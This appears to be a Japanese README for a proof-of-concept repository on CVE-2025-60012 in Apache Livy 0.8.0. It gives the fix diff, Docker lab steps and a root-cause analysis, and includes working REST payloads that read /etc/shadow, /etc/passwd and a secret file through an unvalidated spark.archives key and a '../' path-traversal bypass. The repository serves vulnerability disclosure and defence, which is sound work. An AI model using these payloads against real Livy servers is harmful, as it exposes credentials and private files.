| バージョン | タグ | 解決済みコミット | ローカルパス |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## 正確なコード差分

差分は、両方のタグをローカルにクローンして（上記参照）、次のコマンドを実行することで生成されました:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

**v0.8.0 のエントリ欠落の影響:**
ユーザーが `conf: {"spark.archives": "file:///etc/passwd"}` を含むセッションを送信すると、Livy
0.8.0 はその値に対して `resolveURIs()` を呼び出さず、`livy.file.local-dir-whitelist` との
照合も行いません。パスは検証されずに Spark に転送されます。

---

### 修正 2 — `Session.scala`: ホワイトリストチェック前のパス正規化```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (バイパスされた)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (ブロックされた)

## 攻撃ベクトルの概要```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

---

## 概念実証

### 概要```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

> **注記:** `docker run` の後、Livy が準備完了になるまで約15〜20秒かかります。
> 以下のすべてのステップには、API呼び出しの前に明示的な `sleep 20` が含まれています。

---

### ステップ1 — 脆弱な環境の構築と起動 (Livy 0.8.0 + Spark 3.1.3)

**ファイル:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — `0.0.0.0:8998` にバインド、ローカルモード、ホワイトリスト = `/opt/safe-data`

**1a. イメージをビルドする:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

期待される出力:```
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

**検証 — コンテナが実行中:**```bash
docker ps --filter name=livy-vulnerable

**1c. Livy の起動を待ってから、REST API を確認します:**

> Livy がリクエストを処理する前に、初期化に約 15–20 秒かかります。```bash
sleep 20
curl -s http://localhost:8998/sessions

---

**1d. コンテナ内のディレクトリ構造を検証する：**

ホワイトリストに登録された安全なファイルが存在することを確認する：```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

対象の機密ファイルがホワイトリストの外に存在することを確認してください:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

---

### ステップ 2 — 脆弱な環境に対する検証を実行する

> ステップ 1 の脆弱なコンテナが、ポート 8998 で引き続き実行されている必要があります。

**`test/validate.sh` がテストする内容:**

| # | 攻撃 | ペイロードキー | Livy 0.8.0 での期待される結果 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` が `LivyConf.scala` の `HARDCODED_SPARK_FILE_LISTS` に存在しない | `spark.archives` | HTTP 201 — パスが未検証のまま受理される |
| 2 | `Session.scala` の `String.startsWith()` によるパストラバーサル | `../` トラバーサルを含む `spark.jars` | HTTP 201 — トラバーサルがホワイトリストを迂回する |

**2a. スクリプトを実行:**```bash
bash test/validate.sh

**2b. 脆弱なコンテナを停止して削除する:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable

期待される出力（空 — 行なし）:```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

**検証 — イメージが作成されました:**```bash
docker images cve-2025-60012-fixed

---

**3b. コンテナを起動:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed

期待される出力:```
CONTAINER ID   IMAGE                   COMMAND        STATUS         PORTS
<id>           cve-2025-60012-fixed    "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

期待される出力:```json
{"from":0,"total":0,"sessions":[]}

> **注:** `validate.sh` は次のように動作します:
> 1. Livy が応答するまで `GET /sessions` をポーリングし（最大60秒）、サーバーが準備完了であることを確認します。
> 2. 各攻撃について、`curl` で `POST /sessions` リクエストを送信し、ホワイトリスト外のファイル（`/opt/sensitive/secret.txt`）をターゲットにした細工済みの `conf` ペイロードを使用します。
> 3. HTTP レスポンスコードを読み取ります: **201** は Livy がパスを検証なしで受け入れたこと（脆弱）を意味し、**400** は Livy がホワイトリストチェックで拒否したこと（修正済み）を意味します。
> 4. セッションが作成された場合（HTTP 201）、スクリプトはサーバーをクリーンに保つために `DELETE /sessions/{id}` で直ちにセッションを削除します。
> 5. 両方のテストの後、サマリーを出力し、コード **1**（脆弱）または **0**（修正済み）で終了するため、自動化パイプラインでの使用に適しています。

**期待される出力:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

RESULT: FIXED — exit code 0

**検証 — コンテナが完全に削除されていること:**```bash
docker ps -a --filter name=livy-fixed

## 推論

CVE-2025-60012 は、脆弱性が常にセキュリティ制御の迂回を必要とするわけではないことを示しています。場合によっては、そもそもその制御を経由しない経路を見つけるだけで十分なのです。

ホワイトリスト (`livy.file.local-dir-whitelist`) は Livy 0.8.0 と 0.9.0 の両方に存在し、両方の環境で正しく設定されていました。問題は、その上流にありました。

1. **登録漏れ (攻撃1):** `spark.archives` は Spark 3.1 で、`spark.yarn.dist.archives` に代わるクラスタマネージャ非依存の置き換えとして導入されました。Livy がホワイトリストチェックにパスを渡す設定キーの内部リスト (`LivyConf.scala` の `HARDCODED_SPARK_FILE_LISTS`) は、それ (`spark.archives`) を含むようには更新されませんでした。そのため、`spark.archives` を介して渡されたパスは、まったく検証されることなく Spark に転送されました。ホワイトリストは参照されることはありませんでした。

2. **チェック自体のロジック欠陥 (攻撃2):** 登録されていたキーについては、`Session.scala` のホワイトリスト比較は、生のパス文字列に対して Java の `String.startsWith()` を使用していました。これは、`..` によるトラバーサルを考慮しないため、ファイルシステムのパス比較としては不十分です。`/opt/safe-data/../sensitive/secret.txt` のようなパスは、ホワイトリストエントリ `/opt/safe-data` に対する文字列チェックを満たしますが、実際には完全にその外側の場所に解決されます。

これら2つの弱点を合わせると、認証済みユーザー — Livy REST または JDBC インターフェースへのアクセス以外の特別な権限を持たない — は、Livy サーバーホスト上の任意のローカルファイルを参照できる可能性があることを意味します。共有分析クラスターでは、これは資格情報、鍵、設定ファイル、または Livy プロセスユーザーが読み取り可能なあらゆるデータが露出する可能性につながります。

0.9.0 の修正は最小限で、的を絞ったものです。`HARDCODED_SPARK_FILE_LISTS` に1行追加され（登録のギャップを解消）、ホワイトリスト比較の前に `Paths.get().normalize()` の呼び出しが1つ追加されました（トラバーサル迂回を解消）。どちらの変更もホワイトリスト自体を変更しておらず、ホワイトリストが問題だったのではなく、問題はそこに入力を供給していたコードが不完全かつ不正確だったことを裏付けています。

**防御側にとっての重要ポイント:** Livy を Spark 3.1 以降と共にデプロイしている場合、Livy 0.9.0-incubating へのアップグレードが唯一の完全な対策です。`livy.file.local-dir-whitelist` を厳格化するだけでは攻撃1に対して十分ではありません。脆弱なバージョンでは、`spark.archives` を介して送信されたパスがそのチェックを完全に迂回するからです。

## 参考

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec 開示: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache メーリングリスト: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy プロジェクト: https://livy.apache.org/

## 謝辞

- **Furue Hideyuki** — CVE-2025-60012 を Apache Security Team に最初に報告した人。
- **Apache Livy maintainers** — v0.9.0-incubating での迅速なトリアージと的を絞った修正に対して。
- **Apache Security Team** — 責任ある開示プロセスの調整に対して。
- **OSS-Sec コミュニティ** — 独立した分析を可能にした公開開示スレッドに対して。

## コントリビューティング

この PoC またはドキュメントを改善するためのコントリビューションを歓迎します！コントリビューションを行う際は、以下の点を必ず守ってください：

- 責任ある開示の慣行に従う
- 適切な免責事項を含める
- 教育目的のデモンストレーションを超えた悪意のあるコードを含めない
- 教育的価値に焦点を当て続ける

コントリビュートするには、プルリクエストを開くか、提案する変更内容を説明した issue を作成してください。

## ライセンス

このプロジェクトは [MIT ライセンス](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE) の下でライセンスされています。

## 免責事項

このリポジトリは教育およびセキュリティ研究目的のみに提供されます。この概念実証は
脆弱性の仕組みを示し、理解と防御策に役立てるためのものです。所有していない、または
明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。

## タグ

`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`